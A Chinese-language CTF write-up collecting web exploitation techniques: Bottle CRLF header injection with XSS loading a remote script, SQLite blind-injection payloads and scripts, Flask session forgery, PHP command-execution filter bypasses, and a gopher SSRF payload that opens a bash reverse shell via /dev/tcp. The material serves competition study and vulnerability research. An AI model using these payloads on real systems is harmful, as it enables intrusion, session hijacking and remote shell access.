最近做的一些有意思的ctf赛题详细分析
字数 1207 2025-08-22 12:22:30
CTF赛题分析与漏洞利用技术详解
目录
Bottle框架CRLF注入漏洞
漏洞原理
Bottle框架存在CVE-2016-9964漏洞,这是一个HTTP头注入问题。HTTP协议中,Header与Body使用两个CRLF(\r\n)分隔。通过注入CRLF字符,可以修改HTTP响应头。
漏洞利用方法
-
会话固定攻击:
http://www.example.com%0aSet-cookie:JSPSESSID%3Dwooyun响应包会包含:
Location: http://www.example.com Set-cookie: JSPSESSID=wooyun -
反射型XSS:
http://test.com/?url=%0d%0a%0d%0a响应包:
Location:
绕过跳转的方法
- 将跳转URL端口设为0或负数
- 使用CSP禁止iframe跳转:
<?php header("Content-Security-Policy: frame-src http://localhost:8081/"); ?> <iframe src="http://localhost:8081/?path=http://www.baidu.com/%0a%0dX-XSS-Protection:0%0a%0d%0a%0d<script>alert(location.href)</script>"></iframe>
实际CTF利用
最终payload:
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/%0A%0D%0A%0D%3Cscript+src=http://srpopty.cn/1.js%3E%3C/script%3E
SQLite注入技术
SQLite与MySQL区别
- 注释符:SQLite不支持
#注释,需使用--(注意后面要有空格) - 函数差异:SQLite不能用
ord,ascii,left,right,sleep,mid等函数
SQLite系统表
sqlite_master表结构:type: 记录项目类型(table/index/view/trigger)name: 项目名称tbl_name: 所属表名rootpage: 存储编号sql: 创建项目的SQL语句
常用Payload
-1 or substr((select group_concat(name) from sqlite_master),{},1)>'{}'
-1 or substr((select group_concat(sql) from sqlite_master where name='flag'),{},1)>'{}'
-1 or substr((select flag from flag),{},1)='{}'
select sql from sqlite_master where type='table' and name='flag'#爆列
select group_concat(name) from sqlite_master where type='table' #查表名
select group_concat(sql) from sqlite_master where type='table' and name='xxxx' #获取建表语句
盲注脚本示例
import requests
s = requests.session()
url = "http://node4.anna.nssctf.cn:28658/query"
flag = ''
i = 0
headers = {'Cookie': "session=eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.Za4eug.KTgSrk0rnWYGt0IhOroUgfBKgo8"}
while True:
i = i + 1
Max = 128
Min = 32
Mid = (Max + Min) // 2
while Min < Max:
payload = f"-1 or unicode(substr((select flag from flag),{i},1))>{Mid}"
data = {'id': payload}
r = requests.post(url=url, data=data,headers=headers)
if "exist" in r.text:
Min = Mid + 1
Mid = (Min + Max) // 2
else:
Max = Mid
Mid = (Min + Max) // 2
flag = flag + chr(Mid)
print(flag)
Flask Session伪造
获取SECRET_KEY
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
通过读取/sys/class/net/eth0/address获取MAC地址作为种子。
伪造Session步骤
- 获取MAC地址:
02:42:ac:02:3c:1d - 转换为种子:
0x0242ac023c1d - 使用Python2计算SECRET_KEY
- 使用flask_session_cookie_manager伪造session
实际利用
import string
import requests
url1="http://node4.anna.nssctf.cn:28831/get_data"
url2="http://node4.anna.nssctf.cn:28831/get_hindd_result"
flag="NSSCTF{"
while 1:
for i in string.printable:
tmp_flag=flag+i
data={"url":"File:///proc/self/environ","data":tmp_flag}
res=requests.session()
res.get(url1,data=data)
session_tmp=str(res.cookies.values())[2:-2]
flag_resp=requests.get(url2,cookies={"session":session_tmp})
if "you get it" in flag_resp.text:
flag+=i
print(flag)
break
RCE绕过技术
过滤绕过技巧
-
create_function注入:
$a('', $b); // 当$a为create_function时,$b为代码绕过过滤:
"}system($_GET[1]);//" -
文件包含+伪协议:
require(base64_decode(ZmlsZTovLy9mbGFn)); // require(file:///flag) -
命令执行绕过:
- 使用
cd代替/:cd ..&&cd ..&&pwd - 使用
$(command)执行命令 - 使用
%09代替空格
- 使用
实际利用Payload
-
文件复制法:
cp $(cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&echo$(pwd)flag) app.py -
tar归档法:
mkdir%09static tar%09czf%09static$(cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag.tar.gz%09$(cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag
SSRF漏洞利用
常用读取文件
/etc/passwd/proc/self/environ/start.sh/app/app.py
Gopher协议利用
import urllib.parse
test ="""GET /xxx.php HTTP/1.1
Host: 127.0.0.1:80
"""
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
print(result)
反弹Shell Payload
payload ="""POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
echo;bash -c 'bash -i >& /dev/tcp/ip/ports 0>&1'
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)
协议绕过技巧
- 大小写绕过:
File代替file - 双重编码绕过
- 使用替代协议如
mybox代替gopher
总结
本文详细分析了多种CTF赛题中的漏洞利用技术,包括CRLF注入、SQLite注入、Session伪造、RCE绕过和SSRF利用等。每种技术都提供了原理说明、实际利用Payload和绕过技巧,可作为CTF比赛和漏洞研究的参考手册。